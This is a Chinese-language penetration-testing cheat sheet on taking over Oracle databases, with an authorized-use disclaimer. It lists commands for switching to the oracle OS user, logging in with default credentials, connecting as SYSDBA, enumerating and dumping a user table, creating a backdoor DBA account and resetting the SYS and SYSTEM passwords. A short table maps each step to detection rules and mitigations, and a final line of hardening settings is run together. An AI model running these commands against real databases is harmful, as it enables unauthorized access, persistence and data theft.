本文僅供授權滲透測試、安全審計與防禦研究使用。未經書面授權對目標系統進行任何掃描、連線、資料存取均屬違法。
# 切換至 oracle 用戶(無需 DBA 密碼)
su - oracle
# 多種連線方式
sqlplus /nolog
sqlplus system/manager
sqlplus system/manager@ora9i
./sqlplus system/manager@ora9i
SQL> CONNECT / AS SYSDBA;
-- 或
CONNECT INTERNAL/oracle AS SYSDBA;
CONN SYS/CHANGE_ON_INSTALL AS SYSDBA;
SQL> STARTUP;
-- 查看資料庫資訊
SELECT * FROM V$DATABASE;
SELECT NAME FROM V$DATABASE;
-- 查看實例資訊
SELECT * FROM V$INSTANCE;
-- 查看擁有 SYSDBA/SYSOPER 的用戶
SELECT * FROM V_$PWFILE_USERS;
-- 確認當前連線用戶
SHOW USER;
-- Oracle 無 USE DATABASE 語法,透過 ALTER SESSION 切換 Schema
ALTER SESSION SET CURRENT_SCHEMA = target_schema;
-- 列出所有可存取表
SELECT TABLE_NAME FROM ALL_TABLES;
SELECT * FROM ALL_TABLES;
SELECT TABLE_NAME FROM ALL_TABLES WHERE TABLE_NAME LIKE '%USER%';
-- 查看表結構
DESC ALL_TABLES;
DESC CQI.T_BBS_XUSER;
-- 導出目標表資料
SELECT * FROM CQI.T_BBS_XUSER;
-- 建立用戶
CREATE USER test11 IDENTIFIED BY test
DEFAULT TABLESPACE USERS
TEMPORARY TABLESPACE TEMP;
-- 授予高權限
GRANT CONNECT, RESOURCE, DBA TO test11;
GRANT SYSDBA TO test11;
COMMIT;
ALTER USER SYS IDENTIFIED BY test;
ALTER USER SYSTEM IDENTIFIED BY test;
| 攻擊動作 | 日誌來源 | 檢測規則 | 緩解措施 |
|---|---|---|---|
| SU 切換 oracle 用戶 | OS Secure Log | 非預期用戶切換告警 | 限制 su 許可群組、強制 MFA |
| SQL*Plus 連線 | Listener Log、Audit Trail | 非常用 IP/時間/用戶連線 | 網路分段、IP 白名單、審計啟用 |
| SYSDBA 連線 | Audit Trail (SYS_OPERATIONS) | 非維護窗口 SYSDBA 連線 | 嚴控 SYS 密碼、密碼檔管理 |
| 建立 DBA 用戶 | Audit Trail (DDL) | CREATE USER + GRANT DBA | 審計 DDL、定期複核 DBA 群組 |
| 修改 SYS/SYSTEM 密碼 | Audit Trail | ALTER USER SYS/SYSTEM | 禁止遠端修改、雙人授權 |
AUDIT_TRAIL=DB,EXTENDEDPASSWORD_VERIFY_FUNCTIONSQLNET.ENCRYPTION_SERVER=REQUIRED